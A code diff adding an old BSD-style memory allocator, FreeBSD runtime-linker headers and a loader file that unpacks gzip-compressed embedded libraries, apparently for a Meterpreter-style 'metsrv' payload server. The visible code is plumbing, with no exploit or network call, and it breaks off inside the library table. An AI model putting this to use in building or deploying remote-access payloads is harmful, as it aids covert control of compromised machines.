|
||||||
|
bucket = 0;
|
||||||
|
#else
|
||||||
|
amt = 16; /* size of first bucket */
|
||||||
|
bucket = 1;
|
||||||
|
#endif
|
||||||
|
n = -(sizeof (*op) + RSLOP);
|
||||||
|
} else {
|
||||||
|
amt = pagesz;
|
||||||
|
bucket = pagebucket;
|
||||||
|
}
|
||||||
|
while (nbytes > amt + n) {
|
||||||
|
amt <<= 1;
|
||||||
|
if (amt == 0)
|
||||||
|
return (NULL);
|
||||||
|
bucket++;
|
||||||
|
}
|
||||||
|
/*
|
||||||
|
* If nothing in hash bucket right now,
|
||||||
|
* request more memory from the system.
|
||||||
|
*/
|
||||||
|
if ((op = nextf[bucket]) == NULL) {
|
||||||
|
morecore(bucket);
|
||||||
|
if ((op = nextf[bucket]) == NULL)
|
||||||
|
return (NULL);
|
||||||
|
}
|
||||||
|
/* remove from linked list */
|
||||||
|
nextf[bucket] = op->ov_next;
|
||||||
|
op->ov_magic = MAGIC;
|
||||||
|
op->ov_index = bucket;
|
||||||
|
#ifdef MSTATS
|
||||||
|
nmalloc[bucket]++;
|
||||||
|
#endif
|
||||||
|
#ifdef RCHECK
|
||||||
|
/*
|
||||||
|
* Record allocated size of block and
|
||||||
|
* bound space with magic numbers.
|
||||||
|
*/
|
||||||
|
op->ov_size = (nbytes + RSLOP - 1) & ~(RSLOP - 1);
|
||||||
|
op->ov_rmagic = RMAGIC;
|
||||||
|
*(u_short *)((caddr_t)(op + 1) + op->ov_size) = RMAGIC;
|
||||||
|
#endif
|
||||||
|
return ((char *)(op + 1));
|
||||||
|
}
|
||||||
|
|
||||||
|
void *
|
||||||
|
calloc(size_t num, size_t size)
|
||||||
|
{
|
||||||
|
void *ret;
|
||||||
|
|
||||||
|
if (size != 0 && (num * size) / size != num) {
|
||||||
|
/* size_t overflow. */
|
||||||
|
return (NULL);
|
||||||
|
}
|
||||||
|
|
||||||
|
if ((ret = malloc(num * size)) != NULL)
|
||||||
|
memset(ret, 0, num * size);
|
||||||
|
|
||||||
|
return (ret);
|
||||||
|
}
|
||||||
|
|
||||||
|
/*
|
||||||
|
* Allocate more memory to the indicated bucket.
|
||||||
|
*/
|
||||||
|
static void
|
||||||
|
morecore(bucket)
|
||||||
|
int bucket;
|
||||||
|
{
|
||||||
|
register union overhead *op;
|
||||||
|
register int sz; /* size of desired block */
|
||||||
|
int amt; /* amount to allocate */
|
||||||
|
int nblks; /* how many blocks we get */
|
||||||
|
|
||||||
|
/*
|
||||||
|
* sbrk_size <= 0 only for big, FLUFFY, requests (about
|
||||||
|
* 2^30 bytes on a VAX, I think) or for a negative arg.
|
||||||
|
*/
|
||||||
|
sz = 1 << (bucket + 3);
|
||||||
|
#ifdef MALLOC_DEBUG
|
||||||
|
ASSERT(sz > 0);
|
||||||
|
#else
|
||||||
|
if (sz <= 0)
|
||||||
|
return;
|
||||||
|
#endif
|
||||||
|
if (sz < pagesz) {
|
||||||
|
amt = pagesz;
|
||||||
|
nblks = amt / sz;
|
||||||
|
} else {
|
||||||
|
amt = sz + pagesz;
|
||||||
|
nblks = 1;
|
||||||
|
}
|
||||||
|
if (amt > pagepool_end - pagepool_start)
|
||||||
|
if (morepages(amt/pagesz + NPOOLPAGES) == 0)
|
||||||
|
return;
|
||||||
|
op = (union overhead *)pagepool_start;
|
||||||
|
pagepool_start += amt;
|
||||||
|
|
||||||
|
/*
|
||||||
|
* Add new memory allocated to that on
|
||||||
|
* free list for this hash bucket.
|
||||||
|
*/
|
||||||
|
nextf[bucket] = op;
|
||||||
|
while (--nblks > 0) {
|
||||||
|
op->ov_next = (union overhead *)((caddr_t)op + sz);
|
||||||
|
op = (union overhead *)((caddr_t)op + sz);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
void
|
||||||
|
free(void *cp)
|
||||||
|
{
|
||||||
|
register int size;
|
||||||
|
register union overhead *op;
|
||||||
|
|
||||||
|
if (cp == NULL)
|
||||||
|
return;
|
||||||
|
op = (union overhead *)((caddr_t)cp - sizeof (union overhead));
|
||||||
|
#ifdef MALLOC_DEBUG
|
||||||
|
ASSERT(op->ov_magic == MAGIC); /* make sure it was in use */
|
||||||
|
#else
|
||||||
|
if (op->ov_magic != MAGIC)
|
||||||
|
return; /* sanity */
|
||||||
|
#endif
|
||||||
|
#ifdef RCHECK
|
||||||
|
ASSERT(op->ov_rmagic == RMAGIC);
|
||||||
|
ASSERT(*(u_short *)((caddr_t)(op + 1) + op->ov_size) == RMAGIC);
|
||||||
|
#endif
|
||||||
|
size = op->ov_index;
|
||||||
|
ASSERT(size < NBUCKETS);
|
||||||
|
op->ov_next = nextf[size]; /* also clobbers ov_magic */
|
||||||
|
nextf[size] = op;
|
||||||
|
#ifdef MSTATS
|
||||||
|
nmalloc[size]--;
|
||||||
|
#endif
|
||||||
|
}
|
||||||
|
|
||||||
|
/*
|
||||||
|
* When a program attempts "storage compaction" as mentioned in the
|
||||||
|
* old malloc man page, it realloc's an already freed block. Usually
|
||||||
|
* this is the last block it freed; occasionally it might be farther
|
||||||
|
* back. We have to search all the free lists for the block in order
|
||||||
|
* to determine its bucket: 1st we make one pass thru the lists
|
||||||
|
* checking only the first block in each; if that fails we search
|
||||||
|
* ``realloc_srchlen'' blocks in each list for a match (the variable
|
||||||
|
* is extern so the caller can modify it). If that fails we just copy
|
||||||
|
* however many bytes was given to realloc() and hope it's not huge.
|
||||||
|
*/
|
||||||
|
int realloc_srchlen = 4; /* 4 should be plenty, -1 =>'s whole list */
|
||||||
|
|
||||||
|
void *
|
||||||
|
realloc(cp, nbytes)
|
||||||
|
void *cp;
|
||||||
|
size_t nbytes;
|
||||||
|
{
|
||||||
|
register u_int onb;
|
||||||
|
register int i;
|
||||||
|
union overhead *op;
|
||||||
|
char *res;
|
||||||
|
int was_alloced = 0;
|
||||||
|
|
||||||
|
if (cp == NULL)
|
||||||
|
return (malloc(nbytes));
|
||||||
|
op = (union overhead *)((caddr_t)cp - sizeof (union overhead));
|
||||||
|
if (op->ov_magic == MAGIC) {
|
||||||
|
was_alloced++;
|
||||||
|
i = op->ov_index;
|
||||||
|
} else {
|
||||||
|
/*
|
||||||
|
* Already free, doing "compaction".
|
||||||
|
*
|
||||||
|
* Search for the old block of memory on the
|
||||||
|
* free list. First, check the most common
|
||||||
|
* case (last element free'd), then (this failing)
|
||||||
|
* the last ``realloc_srchlen'' items free'd.
|
||||||
|
* If all lookups fail, then assume the size of
|
||||||
|
* the memory block being realloc'd is the
|
||||||
|
* largest possible (so that all "nbytes" of new
|
||||||
|
* memory are copied into). Note that this could cause
|
||||||
|
* a memory fault if the old area was tiny, and the moon
|
||||||
|
* is gibbous. However, that is very unlikely.
|
||||||
|
*/
|
||||||
|
if ((i = findbucket(op, 1)) < 0 &&
|
||||||
|
(i = findbucket(op, realloc_srchlen)) < 0)
|
||||||
|
i = NBUCKETS;
|
||||||
|
}
|
||||||
|
onb = 1 << (i + 3);
|
||||||
|
if (onb < (u_int)pagesz)
|
||||||
|
onb -= sizeof (*op) + RSLOP;
|
||||||
|
else
|
||||||
|
onb += pagesz - sizeof (*op) - RSLOP;
|
||||||
|
/* avoid the copy if same size block */
|
||||||
|
if (was_alloced) {
|
||||||
|
if (i) {
|
||||||
|
i = 1 << (i + 2);
|
||||||
|
if (i < pagesz)
|
||||||
|
i -= sizeof (*op) + RSLOP;
|
||||||
|
else
|
||||||
|
i += pagesz - sizeof (*op) - RSLOP;
|
||||||
|
}
|
||||||
|
if (nbytes <= onb && nbytes > (size_t)i) {
|
||||||
|
#ifdef RCHECK
|
||||||
|
op->ov_size = (nbytes + RSLOP - 1) & ~(RSLOP - 1);
|
||||||
|
*(u_short *)((caddr_t)(op + 1) + op->ov_size) = RMAGIC;
|
||||||
|
#endif
|
||||||
|
return(cp);
|
||||||
|
} else
|
||||||
|
free(cp);
|
||||||
|
}
|
||||||
|
if ((res = malloc(nbytes)) == NULL)
|
||||||
|
return (NULL);
|
||||||
|
if (cp != res) /* common optimization if "compacting" */
|
||||||
|
bcopy(cp, res, (nbytes < onb) ? nbytes : onb);
|
||||||
|
return (res);
|
||||||
|
}
|
||||||
|
|
||||||
|
/*
|
||||||
|
* Search ``srchlen'' elements of each free list for a block whose
|
||||||
|
* header starts at ``freep''. If srchlen is -1 search the whole list.
|
||||||
|
* Return bucket number, or -1 if not found.
|
||||||
|
*/
|
||||||
|
static int
|
||||||
|
findbucket(freep, srchlen)
|
||||||
|
union overhead *freep;
|
||||||
|
int srchlen;
|
||||||
|
{
|
||||||
|
register union overhead *p;
|
||||||
|
register int i, j;
|
||||||
|
|
||||||
|
for (i = 0; i < NBUCKETS; i++) {
|
||||||
|
j = 0;
|
||||||
|
for (p = nextf[i]; p && j != srchlen; p = p->ov_next) {
|
||||||
|
if (p == freep)
|
||||||
|
return (i);
|
||||||
|
j++;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return (-1);
|
||||||
|
}
|
||||||
|
|
||||||
|
#ifdef MSTATS
|
||||||
|
/*
|
||||||
|
* mstats - print out statistics about malloc
|
||||||
|
*
|
||||||
|
* Prints two lines of numbers, one showing the length of the free list
|
||||||
|
* for each size category, the second showing the number of mallocs -
|
||||||
|
* frees for each size category.
|
||||||
|
*/
|
||||||
|
mstats(s)
|
||||||
|
char *s;
|
||||||
|
{
|
||||||
|
register int i, j;
|
||||||
|
register union overhead *p;
|
||||||
|
int totfree = 0,
|
||||||
|
totused = 0;
|
||||||
|
|
||||||
|
fprintf(stderr, "Memory allocation statistics %s\nfree:\t", s);
|
||||||
|
for (i = 0; i < NBUCKETS; i++) {
|
||||||
|
for (j = 0, p = nextf[i]; p; p = p->ov_next, j++)
|
||||||
|
;
|
||||||
|
fprintf(stderr, " %d", j);
|
||||||
|
totfree += j * (1 << (i + 3));
|
||||||
|
}
|
||||||
|
fprintf(stderr, "\nused:\t");
|
||||||
|
for (i = 0; i < NBUCKETS; i++) {
|
||||||
|
fprintf(stderr, " %d", nmalloc[i]);
|
||||||
|
totused += nmalloc[i] * (1 << (i + 3));
|
||||||
|
}
|
||||||
|
fprintf(stderr, "\n\tTotal in use: %d, total free: %d\n",
|
||||||
|
totused, totfree);
|
||||||
|
}
|
||||||
|
#endif
|
||||||
|
|
||||||
|
|
||||||
|
static int
|
||||||
|
morepages(n)
|
||||||
|
int n;
|
||||||
|
{
|
||||||
|
int fd = -1;
|
||||||
|
int offset;
|
||||||
|
|
||||||
|
|
||||||
|
if (pagepool_end - pagepool_start > pagesz) {
|
||||||
|
caddr_t addr = (caddr_t)
|
||||||
|
(((long)pagepool_start + pagesz - 1) & ~(pagesz - 1));
|
||||||
|
if (munmap(addr, pagepool_end - addr) != 0)
|
||||||
|
warn("morepages: munmap %p", addr);
|
||||||
|
}
|
||||||
|
|
||||||
|
offset = (long)pagepool_start - ((long)pagepool_start & ~(pagesz - 1));
|
||||||
|
|
||||||
|
if ((pagepool_start = mmap(0, n * pagesz,
|
||||||
|
PROT_READ|PROT_WRITE,
|
||||||
|
MAP_FLAGS|MAP_PRIVATE, fd, 0)) == (caddr_t)-1) {
|
||||||
|
xprintf("Cannot map anonymous memory");
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
pagepool_end = pagepool_start + n * pagesz;
|
||||||
|
pagepool_start += offset;
|
||||||
|
|
||||||
|
return n;
|
||||||
|
}
|
||||||
|
|
||||||
|
/*
|
||||||
|
* Non-mallocing printf, for use by malloc itself.
|
||||||
|
*/
|
||||||
|
static void
|
||||||
|
xprintf(const char *fmt, ...)
|
||||||
|
{
|
||||||
|
char buf[256];
|
||||||
|
va_list ap;
|
||||||
|
|
||||||
|
va_start(ap, fmt);
|
||||||
|
vsprintf(buf, fmt, ap);
|
||||||
|
(void)write(STDOUT_FILENO, buf, strlen(buf));
|
||||||
|
va_end(ap);
|
||||||
|
}
|
|
@ -0,0 +1,69 @@
|
||||||
|
/*-
|
||||||
|
* Copyright (c) 2004 Doug Rabson
|
||||||
|
* All rights reserved.
|
||||||
|
*
|
||||||
|
* Redistribution and use in source and binary forms, with or without
|
||||||
|
* modification, are permitted provided that the following conditions
|
||||||
|
* are met:
|
||||||
|
* 1. Redistributions of source code must retain the above copyright
|
||||||
|
* notice, this list of conditions and the following disclaimer.
|
||||||
|
* 2. Redistributions in binary form must reproduce the above copyright
|
||||||
|
* notice, this list of conditions and the following disclaimer in the
|
||||||
|
* documentation and/or other materials provided with the distribution.
|
||||||
|
*
|
||||||
|
* THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
|
||||||
|
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
|
||||||
|
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
|
||||||
|
* ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
|
||||||
|
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
|
||||||
|
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
|
||||||
|
* OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
|
||||||
|
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
|
||||||
|
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
|
||||||
|
* OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
|
||||||
|
* SUCH DAMAGE.
|
||||||
|
*
|
||||||
|
* $FreeBSD: head/libexec/rtld-elf/rtld_tls.h 133063 2004-08-03 08:51:00Z dfr $
|
||||||
|
*/
|
||||||
|
|
||||||
|
/*
|
||||||
|
* Semi-public interface from thread libraries to rtld for managing
|
||||||
|
* TLS.
|
||||||
|
*/
|
||||||
|
|
||||||
|
#ifndef _RTLD_TLS_H_
|
||||||
|
#define _RTLD_TLS_H_
|
||||||
|
|
||||||
|
/*
|
||||||
|
* Allocate a TLS block for a new thread. The memory allocated will
|
||||||
|
* include 'tcbsize' bytes aligned to a 'tcbalign' boundary (in bytes)
|
||||||
|
* for the thread library's private purposes. The location of the TCB
|
||||||
|
* block is returned by this function. For architectures using
|
||||||
|
* 'Variant I' TLS, the thread local storage follows the TCB, and for
|
||||||
|
* 'Variant II', the thread local storage precedes it. For
|
||||||
|
* architectures using the 'Variant II' model (e.g. i386, amd64,
|
||||||
|
* sparc64), the TCB must begin with two pointer fields which are used
|
||||||
|
* by rtld for its TLS implementation. For the 'Variant I' model, the
|
||||||
|
* TCB must begin with a single pointer field for rtld's
|
||||||
|
* implementation.
|
||||||
|
*
|
||||||
|
* If the value of 'oldtls' is non-NULL, the new TLS block will be
|
||||||
|
* initialised using the values contained in 'oldtls' and 'oldtls'
|
||||||
|
* will be freed. This is typically used when initialising a thread
|
||||||
|
* library to migrate from using the initial bootstrap TLS block
|
||||||
|
* created by rtld to one which contains suitable thread library
|
||||||
|
* private data.
|
||||||
|
*
|
||||||
|
* The value returned from this function is suitable for installing
|
||||||
|
* directly into the thread pointer register.
|
||||||
|
*/
|
||||||
|
extern void *_rtld_allocate_tls(void* oldtls, size_t tcbsize, size_t tcbalign);
|
||||||
|
|
||||||
|
/*
|
||||||
|
* Free a TLS block allocated using _rtld_allocate_tls(). The tcbsize
|
||||||
|
* and tcbalign parameters must be the same as those used to allocate
|
||||||
|
* the block.
|
||||||
|
*/
|
||||||
|
extern void _rtld_free_tls(void *tcb, size_t tcbsize, size_t tcbalign);
|
||||||
|
|
||||||
|
#endif
|
|
@ -0,0 +1,60 @@
|
||||||
|
/*-
|
||||||
|
* Copyright 1996-1998 John D. Polstra.
|
||||||
|
* All rights reserved.
|
||||||
|
*
|
||||||
|
* Redistribution and use in source and binary forms, with or without
|
||||||
|
* modification, are permitted provided that the following conditions
|
||||||
|
* are met:
|
||||||
|
* 1. Redistributions of source code must retain the above copyright
|
||||||
|
* notice, this list of conditions and the following disclaimer.
|
||||||
|
* 2. Redistributions in binary form must reproduce the above copyright
|
||||||
|
* notice, this list of conditions and the following disclaimer in the
|
||||||
|
* documentation and/or other materials provided with the distribution.
|
||||||
|
*
|
||||||
|
* THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
|
||||||
|
* IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
|
||||||
|
* OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
|
||||||
|
* IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
|
||||||
|
* INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
|
||||||
|
* NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
|
||||||
|
* DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
|
||||||
|
* THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
|
||||||
|
* (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
|
||||||
|
* THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
||||||
|
*
|
||||||
|
* $FreeBSD: head/libexec/rtld-elf/xmalloc.c 116568 2003-06-19 05:28:26Z mdodd $
|
||||||
|
*/
|
||||||
|
|
||||||
|
#include <err.h>
|
||||||
|
#include <stddef.h>
|
||||||
|
#include <stdlib.h>
|
||||||
|
#include <string.h>
|
||||||
|
#include "rtld.h"
|
||||||
|
|
||||||
|
void *xcalloc(size_t);
|
||||||
|
void *xmalloc(size_t);
|
||||||
|
char *xstrdup(const char *);
|
||||||
|
|
||||||
|
void *
|
||||||
|
xcalloc(size_t size)
|
||||||
|
{
|
||||||
|
return memset(xmalloc(size), 0, size);
|
||||||
|
}
|
||||||
|
|
||||||
|
void *
|
||||||
|
xmalloc(size_t size)
|
||||||
|
{
|
||||||
|
void *p = malloc(size);
|
||||||
|
if (p == NULL)
|
||||||
|
err(1, "Out of memory");
|
||||||
|
return p;
|
||||||
|
}
|
||||||
|
|
||||||
|
char *
|
||||||
|
xstrdup(const char *s)
|
||||||
|
{
|
||||||
|
char *p = strdup(s);
|
||||||
|
if (p == NULL)
|
||||||
|
err(1, "Out of memory");
|
||||||
|
return p;
|
||||||
|
}
|
|
@ -0,0 +1,433 @@
|
||||||
|
#include <sys/types.h>
|
||||||
|
|
||||||
|
#ifdef __linux__
|
||||||
|
#include "sfsyscall.h"
|
||||||
|
#endif
|
||||||
|
#include <stdlib.h>
|
||||||
|
#include <sys/errno.h>
|
||||||
|
#include <sys/types.h>
|
||||||
|
#include <sys/mman.h>
|
||||||
|
|
||||||
|
|
||||||
|
#define NULL ((void *)0)
|
||||||
|
|
||||||
|
/*
|
||||||
|
* Forget about sparc / alpha / ia64 for now
|
||||||
|
*/
|
||||||
|
#define PAGE_SIZE 4096
|
||||||
|
#define PAGE_MASK (PAGE_SIZE-1)
|
||||||
|
#define round_page(x) (((x) + PAGE_MASK) & ~PAGE_MASK)
|
||||||
|
|
||||||
|
#include "rtld.h"
|
||||||
|
#include "zlib/zlib.h"
|
||||||
|
|
||||||
|
void *
|
||||||
|
memcpy(void *idst, const void *isrc, size_t n)
|
||||||
|
{
|
||||||
|
char *ret = idst;
|
||||||
|
char *dst = idst;
|
||||||
|
const char *src = isrc;
|
||||||
|
|
||||||
|
while (n--)
|
||||||
|
*dst++ = *src++;
|
||||||
|
return ret;
|
||||||
|
}
|
||||||
|
|
||||||
|
static int
|
||||||
|
strncmp(const char *s1, const char *s2, size_t n)
|
||||||
|
{
|
||||||
|
|
||||||
|
if (n == 0)
|
||||||
|
return (0);
|
||||||
|
do {
|
||||||
|
if (*s1 != *s2++)
|
||||||
|
return (*(const unsigned char *)s1 -
|
||||||
|
*(const unsigned char *)(s2 - 1));
|
||||||
|
if (*s1++ == 0)
|
||||||
|
break;
|
||||||
|
} while (--n != 0);
|
||||||
|
return (0);
|
||||||
|
}
|
||||||
|
|
||||||
|
size_t
|
||||||
|
strlen(str)
|
||||||
|
const char *str;
|
||||||
|
{
|
||||||
|
register const char *s;
|
||||||
|
|
||||||
|
for (s = str; *s; ++s);
|
||||||
|
return(s - str);
|
||||||
|
}
|
||||||
|
|
||||||
|
static char *
|
||||||
|
strstr(const char *s, const char *find)
|
||||||
|
{
|
||||||
|
char c, sc;
|
||||||
|
size_t len;
|
||||||
|
|
||||||
|
if ((c = *find++) != 0) {
|
||||||
|
len = strlen(find);
|
||||||
|
do {
|
||||||
|
do {
|
||||||
|
if ((sc = *s++) == 0)
|
||||||
|
return (NULL);
|
||||||
|
} while (sc != c);
|
||||||
|
} while (strncmp(s, find, len) != 0);
|
||||||
|
s--;
|
||||||
|
}
|
||||||
|
return ((char *)(unsigned long)s);
|
||||||
|
}
|
||||||
|
|
||||||
|
void *
|
||||||
|
memset(void *b, int c, size_t len)
|
||||||
|
{
|
||||||
|
char *bb;
|
||||||
|
|
||||||
|
for (bb = (char *)b; len--; )
|
||||||
|
*bb++ = c;
|
||||||
|
return (b);
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
int
|
||||||
|
_sigfillset(set)
|
||||||
|
sigset_t *set;
|
||||||
|
{
|
||||||
|
int i;
|
||||||
|
|
||||||
|
for (i = 0; i < _SIG_WORDS; i++)
|
||||||
|
set->__bits[i] = ~0U;
|
||||||
|
return (0);
|
||||||
|
}
|
||||||
|
|
||||||
|
int
|
||||||
|
_sigdelset(set, signo)
|
||||||
|
sigset_t *set;
|
||||||
|
int signo;
|
||||||
|
{
|
||||||
|
|
||||||
|
if (signo <= 0 || signo > _SIG_MAXSIG) {
|
||||||
|
errno = EINVAL;
|
||||||
|
return (-1);
|
||||||
|
}
|
||||||
|
set->__bits[_SIG_WORD(signo)] &= ~_SIG_BIT(signo);
|
||||||
|
return (0);
|
||||||
|
}
|
||||||
|
|
||||||
|
/* eof libc functions */
|
||||||
|
|
||||||
|
typedef struct handle_s
|
||||||
|
{
|
||||||
|
char *mem_base; /* base address of maped *.so */
|
||||||
|
unsigned long *hash_tab; /* hash table */
|
||||||
|
char *dyn_str_tab; /* dyn_name table */
|
||||||
|
Elf_Sym *dyn_sym_tab; /* dynamic symbol table */
|
||||||
|
Elf_Rel *plt_rel; /* PLT relocation table */
|
||||||
|
Elf_Rel *dyn_rel; /* relocation table */
|
||||||
|
} handle_t;
|
||||||
|
|
||||||
|
|
||||||
|
static handle_t libc_handle;
|
||||||
|
static char *sym;
|
||||||
|
static unsigned long addr;
|
||||||
|
|
||||||
|
#define MLOCK_MAX_SIZE 31744
|
||||||
|
|
||||||
|
#ifdef __linux__
|
||||||
|
#define MAP_FLAGS MAP_ANONYMOUS
|
||||||
|
#else
|
||||||
|
#define MAP_FLAGS MAP_ANON|MAP_NOCORE
|
||||||
|
#endif
|
||||||
|
|
||||||
|
|
||||||
|
/*
|
||||||
|
* Libraries we need to unpack for server startup
|
||||||
|
*
|
||||||
|
*/
|
||||||
|
static int const gz_magic[2] = {0x1f, 0x8b}; /* gzip magic header */
|
||||||
|
|
||||||
|
/* gzip flag byte */
|
||||||
|
#define ASCII_FLAG 0x01 /* bit 0 set: file probably ascii text */
|
||||||
|
#define HEAD_CRC 0x02 /* bit 1 set: header CRC present */
|
||||||
|
#define EXTRA_FIELD 0x04 /* bit 2 set: extra field present */
|
||||||
|
#define ORIG_NAME 0x08 /* bit 3 set: original file name present */
|
||||||
|
#define COMMENT 0x10 /* bit 4 set: file comment present */
|
||||||
|
#define RESERVED 0xE0 /* bits 5..7: reserved */
|
||||||
|
|
||||||
|
|
||||||
|
#define EOF (-1)
|
||||||
|
/* ===========================================================================
|
||||||
|
Check the gzip header of a gz_stream opened for reading. Set the stream
|
||||||
|
mode to transparent if the gzip magic header is not present; set s->err
|
||||||
|
to Z_DATA_ERROR if the magic header is present but the rest of the header
|
||||||
|
is incorrect.
|
||||||
|
IN assertion: the stream s has already been created sucessfully;
|
||||||
|
s->stream.avail_in is zero for the first time, but may be non-zero
|
||||||
|
for concatenated .gz files.
|
||||||
|
*/
|
||||||
|
static int
|
||||||
|
check_header(unsigned char **input_buffer, int *input_length)
|
||||||
|
{
|
||||||
|
int method; /* method byte */
|
||||||
|
int flags; /* flags byte */
|
||||||
|
int c;
|
||||||
|
int len = *input_length;
|
||||||
|
unsigned char *inbuf = *input_buffer;
|
||||||
|
|
||||||
|
if (len < 2)
|
||||||
|
return Z_DATA_ERROR;
|
||||||
|
|
||||||
|
if (inbuf[0] != gz_magic[0] ||
|
||||||
|
inbuf[1] != gz_magic[1])
|
||||||
|
return Z_DATA_ERROR;
|
||||||
|
|
||||||
|
len -= 2;
|
||||||
|
inbuf += 2;
|
||||||
|
|
||||||
|
/* Check the rest of the gzip header */
|
||||||
|
method = inbuf[0];
|
||||||
|
flags = inbuf[1];
|
||||||
|
if (method != Z_DEFLATED || (flags & RESERVED) != 0)
|
||||||
|
return Z_DATA_ERROR;
|
||||||
|
|
||||||
|
/* Discard time, xflags and OS code: */
|
||||||
|
inbuf += 8;
|
||||||
|
len -= 8;
|
||||||
|
|
||||||
|
if ((flags & EXTRA_FIELD) != 0) { /* skip the extra field */
|
||||||
|
int field_len = (uInt)inbuf[0];
|
||||||
|
field_len += ((uInt)inbuf[1])<<8;
|
||||||
|
inbuf += 2;
|
||||||
|
len -= 2;
|
||||||
|
/* len is garbage if EOF but the loop below will quit anyway */
|
||||||
|
while (field_len-- != 0 && *(int *)inbuf != EOF) {
|
||||||
|
inbuf++;
|
||||||
|
len--;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
/*
|
||||||
|
* note that the original name skipping logics seems to be buggy
|
||||||
|
*
|
||||||
|
*/
|
||||||
|
if ((flags & ORIG_NAME) != 0) { /* skip the original file name */
|
||||||
|
while ((c = *inbuf) != 0 && c != EOF) {
|
||||||
|
inbuf++;
|
||||||
|
len--;
|
||||||
|
}
|
||||||
|
inbuf++;
|
||||||
|
len--;
|
||||||
|
}
|
||||||
|
if ((flags & COMMENT) != 0) { /* skip the .gz file comment */
|
||||||
|
while ((c = *inbuf) != 0 && c != EOF) {
|
||||||
|
inbuf++;
|
||||||
|
len--;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if ((flags & HEAD_CRC) != 0) { /* skip the header crc */
|
||||||
|
inbuf += 2;
|
||||||
|
len -= 2;
|
||||||
|
}
|
||||||
|
|
||||||
|
*input_length = len;
|
||||||
|
*input_buffer = inbuf;
|
||||||
|
return Z_OK;
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
#include "metsrv_main.h"
|
||||||
|
#include "libcrypto_so.h"
|
||||||
|
#include "libssl_so.h"
|
||||||
|
#include "libcommon_so.h"
|
||||||
|
|
||||||
|
typedef struct library_object {
|
||||||
|
void *lo_ptr;
|
||||||
|
} lobj_t;
|
||||||
|
|
||||||
|
typedef struct library_info {
|
||||||
|
unsigned int l_output_size;
|
||||||
|
unsigned int l_input_size;
|
||||||
|
char *l_name;
|
||||||
|
unsigned char *l_data;
|
||||||
|
unsigned char *l_data_uncompressed;
|
||||||
|
lobj_t *l_obj;
|
||||||
|
} linfo_t;
|
||||||
|
|
||||||
|
lobj_t metsrv_main_obj;
|
||||||
|
lobj_t libcrypto_so_obj;
|
||||||
|
lobj_t libssl_so_obj;
|
||||||
|
lobj_t libcommon_so_obj;
|
||||||
|
|
||||||
|
/*
|
||||||
|
* The user must make sure that the list of library names matches those
|
||||||
|
* in metsrv's symbol table (see elf headers as ldd often gets confused)
|
||||||
|
*/
|
||||||
|
static linfo_t startlibs[] = {
|
||||||
|
{metsrv_main_size, metsrv_main_length, "meta server", metsrv_main, NULL, &metsrv_main_obj},
|
||||||
|
{libcrypto_so_size, libcrypto_so_length, "libcrypto.so", libcrypto_so, NULL, &libcrypto_so_obj},
|
||||||
|
{libssl_so_size, libssl_so_length, "libssl.so", libssl_so, NULL, &libssl_so_obj},
|
||||||
|
{libcommon_so_size, libcommon_so_length, "libc.so", libcommon_so, NULL, &libcommon_so_obj},
|
||||||
|
{libcommon_so_size, libcommon_so_length, "libcommon.so", libcommon_so, NULL, &libcommon_so_obj},
|
||||||
|
|
||||||
|
{libcommon_so_size, libcommon_so_length, "libdl.so", libcommon_so, NULL, &libcommon_so_obj},
|
||||||
|
{libcommon_so_size, libcommon_so_length, "libz.so", libcommon_so, NULL, &libcommon_so_obj},
|
||||||
|
{libcommon_so_size, libcommon_so_length, "libgssapi_krb5.so", libcommon_so, NULL, &libcommon_so_obj},
|
||||||
|
{libcommon_so_size, libcommon_so_length, "libkrb5.so", libcommon_so, NULL, &libcommon_so_obj},
|
||||||
|
{libcommon_so_size, libcommon_so_length, "libcom_err.so", libcommon_so, NULL, &libcommon_so_obj},
|
||||||
|
{libcommon_so_size, libcommon_so_length, "libk5crypto.so", libcommon_so, NULL, &libcommon_so_obj},
|
||||||
|
{libcommon_so_size, libcommon_so_length, "libresolv.so", libcommon_so, NULL, &libcommon_so_obj},
|
||||||
|
{libcommon_so_size, libcommon_so_length, "libkeyutils.so", libcommon_so, NULL, &libcommon_so_obj},
|
||||||
|
{libcommon_so_size, libcommon_so_length, "libselinux.so", libcommon_so, NULL, &libcommon_so_obj},
|
||||||
|
{libcommon_so_size, libcommon_so_length, "libsepol.so", libcommon_so, NULL, &libcommon_so_obj},
|
||||||
|
